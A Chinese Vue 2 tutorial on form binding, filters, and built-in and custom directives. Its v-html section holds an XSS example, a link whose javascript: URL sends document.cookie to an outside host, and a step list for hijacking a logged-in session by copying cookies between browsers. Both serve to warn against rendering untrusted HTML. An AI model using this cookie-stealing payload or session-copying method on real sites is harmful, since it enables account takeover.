Vue基础6
收集表单数据
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<form @submit.prevent="subForm"> <!--阻止表单跳转-->
<label for="zhId">账号:</label>
<input type="text" id="zhId" v-model.trim="userinfo.account"> <br> <br> <!--去除前后空格-->
<label for="pass">密码:</label>
<input type="password" id="pass" v-model="userinfo.password"> <br> <br>
<label for="pass">年龄:</label>
<input type="number" id="age" v-model.number="userinfo.age"> <br> <br> <!--表单的number和v-model.number一般配合使用-->
<label for="Gsex">性别:</label>
男<input type="radio" name="sex" id="Gsex" value="男" v-model="userinfo.sex">
女<input type="radio" name="sex" value="女" v-model="userinfo.sex"> <br><br>
<label for="hobb">爱好:</label>
读书<input type="checkbox" name="hobby" id="hobb" value="读书" v-model="userinfo.hobby">
看报 <input type="checkbox" name="hobby" value="看报" v-model="userinfo.hobby">
唱歌 <input type="checkbox" name="hobby" value="唱歌" v-model="userinfo.hobby"> <br><br>
<label for="belong">所属校区:</label>
<select name="school" id="belong" v-model="userinfo.belong">
<option value="">请选择校区</option>
<option value="重庆">重庆</option>
<option value="西安">西安</option>
</select> <br><br>
<label for="otherMess">其他信息:</label>
<textarea name="other" id="otherMess" v-model.lazy="userinfo.otherMess"></textarea> <br><br> <!--懒加载:失去焦点时候Vue才会有值-->
<input type="checkbox" name="agree" id="agreement" v-model="userinfo.agreement">
<label for="agreement">阅读并接受 <a href="">《用户协议》</a> <br><br></label>
<input type="submit" value="提交">
</form>
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
userinfo:{
account:"",
password:"",
sex:"男",
hobby:[],
belong:"",
otherMess:"",
agreement:"",
age:""
}
},
methods:{
subForm(){
console.log(JSON.stringify(this.userinfo))
}
}
})
</script>
</html>
收集表单数据:
- 若:<input type=“text” />,则v-model收集的是value值,用户输入的就是value值
- 若:<input type=“radio” />,则v-model收集的是value值,且要给标签配置value值
- 若:<input type=“checkbox” />
1.没有配置input的value属性,那么收集的就是checked(勾选or未勾选,是布尔值)
2.配置input的value属性:
(1)v-model的初始值是非数组,那么收集的就是checked(勾选or未勾选,是布尔值)
(2)v-model的初始值是数组,那么收集的就是value组成的数组 - 备注:v-model的三个修饰符:
lazy:失去焦点再收集数据
number:输入字符串转为有效的数字
trim:输入首尾空格过滤
过滤器
免费的提供第三方库的网站: bootCDN
使用轻量级格式化日期库:dayjs
局部过滤器
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
</head>
<body>
<div id="app">
<h1>显示格式化后的时间</h1>
<!--用计算属性实现-->
<h2>现在是:{{fmtTime}}</h2>
<!--用methods实现-->
<h2>现在是:{{timeFormatter()}}</h2>
<!--用过滤器实现-->
<h2>现在是:{{time | tfmFormatter}}</h2>
<!--用过滤器实现(传参)-->
<h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss')}}</h2>
<!--多个过滤器串联-->
<h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss') | mySlice}}</h2>
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
time:1671009724259 //时间戳
},
computed:{
fmtTime(){
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
}
},
methods:{
timeFormatter(){
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
}
},
filters:{
tfmFormatter(value,str="YYYY年MM月DD日 HH:mm:ss"){
return dayjs(value).format(str)
},
mySlice(value){
return value.slice(0,4)
}
}
})
</script>
</html>
过滤器调用步骤:
script调用步骤:
全局过滤器
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
<script src="https://cdn.bootcdn.net/ajax/libs/dayjs/1.11.7/dayjs.min.js"></script>
</head>
<body>
<div id="app">
<h1>显示格式化后的时间</h1>
<!--用计算属性实现-->
<h2>现在是:{{fmtTime}}</h2>
<!--用methods实现-->
<h2>现在是:{{timeFormatter()}}</h2>
<!--用过滤器实现-->
<h2>现在是:{{time | tfmFormatter}}</h2>
<!--用过滤器实现(传参)-->
<h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss')}}</h2>
<!--多个过滤器串联-->
<h2>现在是:{{time | tfmFormatter('YYYY-MM-DD HH:mm:ss') | mySlice}}</h2>
</div>
<div id="root">
<h2>{{msg}}</h2>
<h2>{{msg | mySlice}}</h2>
<h2 :x="msg| mySlice">真好</h2>
</div>
</body>
<script>
Vue.config.productionTip=false;
// 全局过滤器
Vue.filter('mySlice',function(value){
return value.slice(0,4)
})
new Vue({
el:"#app",
data:{
time:1671009724259 //时间戳
},
computed:{
fmtTime(){
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
}
},
methods:{
timeFormatter(){
return dayjs(this.time).format("YYYY年MM月DD日 HH:mm:ss")
}
},
//局部过滤器
filters:{
tfmFormatter(value,str="YYYY年MM月DD日 HH:mm:ss") {
return dayjs(value).format(str)
}
}
})
new Vue({
el:"#root",
data:{
msg:"hello,你好啊,今天天气真不错"
}
})
</script>
</html>
过滤器:
定义:对要显示的数据进行特定格式化后显示(适用于一些简单逻辑的处理)
语法:
- 注册过滤器:Vue.filter(name,callback)或 new Vue{filters:{}}
- 使用过滤器:{{ xxx | 过滤器名}}或 v-bind:属性=“xxx | 过滤器名”
备注:
- 过滤器也可以接收额外参数、多个过滤器也可以串联
- 并没有改变原本的数据,是产生新的对应的数据
内置指令
v-text
我们学过的指令:
v-bind:单向绑定解析表达式,可简写为 :xxx
v-model:双向数据绑定
v-for:遍历数组/对象/字符串
v-on:绑定事件监听,可简写为@
v-if:条件渲染(动态控制节点是否存在)
v-else:条件渲染(动态控制节点是否存在)
v-show:条件渲染(动态控制节点是否展示)
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>v-text</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<div>{{name}}</div>
<div v-text="name"></div>
<hr>
区别:
<div>你好,{{name}}</div>
<div v-text="name">你好,</div>
<!--v-text不会解析标签-->
<div v-text="tagName"></div>
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
name:"张三",
tagName:"<h3>你好啊,我的朋友</h3>"
}
})
</script>
</html>
v-text 指令:
- 作用:向其所在的节点中渲染文本内容
- 与插值语法的区别:v-text会替换掉节点中的内容,{{xx}}则不会
v-html
使用
可以解析 html 标签
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<div>{{name}}</div>
<div v-html="str"></div>
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
name:"张三",
str:"<h3>早上好啊</h3>"
}
})
</script>
</html>
安全性
cookie工作原理
实际操作展示:
-
用谷歌浏览器查看cookie
-
使用cookie-editor插件复制cookie
-
再用火狐浏览器打开b站,显示的是未登录的状态
-
使用火狐浏览器的插件cookie-editor将在谷歌浏览器中复制到的内容粘贴在这里
-
刷新页面之后就可以得到一个已经登录状态的页面了
v-html不安全案例
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<div>{{name}}</div>
<div v-html="str"></div>
<div v-html="surprise"></div>
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
name:"张三",
str:"<h3>早上好啊</h3>",
surprise:'<a href=javascript:location.href="http://www.baidu.com?"+document.cookie>点击链接有惊喜</a>'
}
})
</script>
</html>
通过这种方式就能获取到你的所有cookie值,然后登录你的信息做坏事
但是,如果字段被HttpOnly限定了,那么只有http协议能读取到,通过js代码就读取不到了
v-html指令:
- 作用:向指定节点中渲染包含html结构的内容
- 与插值语法的区别:
(1)v-html会替换掉节点中所有的内容,{{xx}}则不会
(2)v-html可以识别html结构 - 严重注意:v-html有安全性问题!!
(1)在网站上动态渲染任意HTML是非常危险的,容易导致XSS攻击
(2)一定要在可信的内容上使用v-html,永不要用在用户提交的内容上!
v-cloak指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<div id="app">
<div>你好,{{name}},年龄:{{age}},性别:{{sex}}</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
name:"张三",
age:18,
sex:"男"
}
})
</script>
</html>
如果步骤2执行慢了,则会出现以下的情况:
解决办法:
使用v-cloak
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<style>
[v-cloak]{
display: none;
}
</style>
</head>
<body>
<div id="app">
<div v-cloak>你好,{{name}},年龄:{{age}},性别:{{sex}}</div>
</div>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
name:"张三",
age:18,
sex:"男"
}
})
</script>
</html>
步骤三没执行时候,v-cloak标签一直存在,页面内容不会显示,步骤三执行之后,v-cloak标签则会清除,页面内容正常展示
页面加载完毕效果:
v-cloak指令(没有值):
- 本质是一个特殊属性,Vue实例创建完毕并接管容器后,会删掉v-cloak属性
- 使用css配合v-cloak可以解决网速慢时页面展示出{{xxx}}的问题
v-once指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<h2 v-once>初始化的n是:{{n}}</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
n:1
}
})
</script>
</html>
v-once指令:
- v-once所在节点在初次动态渲染后,就视为静态内容了
- 以后数据的改变不会引起v-once所在结构的更新,可以用于优化性能
v-pre指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<h2 v-pre>Vue的展示</h2>
<h2 v-pre>欢迎大家来到Vue的小课堂</h2>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<h2 style="color:red">错误示范:因为下面标签中内容需要被解析</h2>
<h2 v-pre style="color:red">当前的n值是:{{n}}</h2>
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
n:1
}
})
</script>
</html>
v-pre指令:
- 跳过其所在节点的编译过程
- 可利用它跳过:没有使用指令语法,没有使用插值语法的节点,会加快编译
自定义指令
函数式
需求1:定义一个v-big指令,和v-text功能类似,但会把绑定的数值放大10倍
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<h2>姓名:{{name}}</h2>
<button @click="name='李四'">修改姓名为李四</button>
<h2>当前的n值是:<span v-text="n"></span></h2>
<h2>放大10倍后的n值是:<span v-big="n"></span></h2>
<button @click="n++">点我n+1</button>
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
name:"张三",
n:1
},
directives:{
//big函数何时会被调用?1.指令与元素成功绑定时(一上来)2.指令所在的模板被重新解析时
big(element,binding){
console.log("element:",element)
console.log("binding:",binding)
element.innerText=binding.value*10
}
}
})
</script>
</html>
对象式
需求2:定义一个v-fbind指令,和v-bind功能类似,但可以让其所绑定的input元素默认获取焦点
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<div>{{name}}</div>
<h2>当前的n值是:{{n}}</h2>
<button @click="n++">点我n+1</button>
<input type="text" v-fbind="n">
</div>
</body>
<script>
Vue.config.productionTip=false;
new Vue({
el:"#app",
data:{
name:"张三",
n:1
},
directives:{
fbind:{
//指令与元素成功绑定时(一上来)
bind(element,binding){
element.value=binding.value
},
//指令所在元素被插入页面时
inserted(element,binding){
element.focus()
},
//指令所在模板被重新解析时
update(element,binding){
element.value=binding.value
}
}
}
})
</script>
</html>
自定义命名组合式
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>example</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<div>当前的n值是:{{n}}</div>
<button @click="n++">点我n+1</button>
<div>放大10倍后的n值是:<span v-big-number="n"></span></div>
</div>
</body>
<script>
new Vue({
el:"#app",
data:{
n:1,
},
directives:{
//简写
// "big-number"(element,binding){
// element.value=binding.value*10
// }
//全写
"big-number":function(element,binding){
element.innerHTML=binding.value*10
}
}
})
</script>
</html>
全局自定义指令
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<meta http-equiv="X-UA-Compatible" content="ie=edge">
<title>全局自定义指令</title>
<script src="https://cdn.jsdelivr.net/npm/vue@2/dist/vue.js"></script>
</head>
<body>
<div id="app">
<div>当前n的值是:{{n}}</div>
<button @click="n++">点我n+1</button>
<input type="text" v-fbind="n">
<br><br>
<div>放大10倍后的n值是:<span v-big="n"></span></div>
</div>
<div id="root">
<br>
第二个Vue容器的d值:{{d}} <br>
<button @click="d++">点我d+1</button>
<input type="text" v-fbind="d">
</div>
</body>
<script>
//对象式
Vue.directive("fbind",{
bind(element,binding){
element.value=binding.value
},
inserted(element,binding){
element.focus()
},
update(element,binding){
element.value=binding.value
}
})
//函数式
Vue.directive("big",function(element,binding){
element.innerHTML=binding.value*10
})
new Vue({
el:"#app",
data:{
n:1
},
})
new Vue({
el:"#root",
data:{
d:1
}
})
</script>
</html>
自定义指令总结:
- 定义语法:
(1)局部指令:
new Vue({
directives:{指令名:配置对象}
})
或
new Vue({
directives(){指令名:回调函数}
})
(2)全局指令
Vue.directive(指令名,配置对象) 或 Vue.directive(指令名,回调函数) - 配置对象中常用的3个 回调:
(1)bind:指令与元素成功绑定时使用
(2)inserted:指令所在元素被插入页面时调用
(3)update:指令所在模板结构被重新解析时调用 - 备注:
(1)指令定义时不加v-,但使用时要加v-
(2)指令名如果是多个单词,要使用kebab-case命名方式,不要用camelCase命名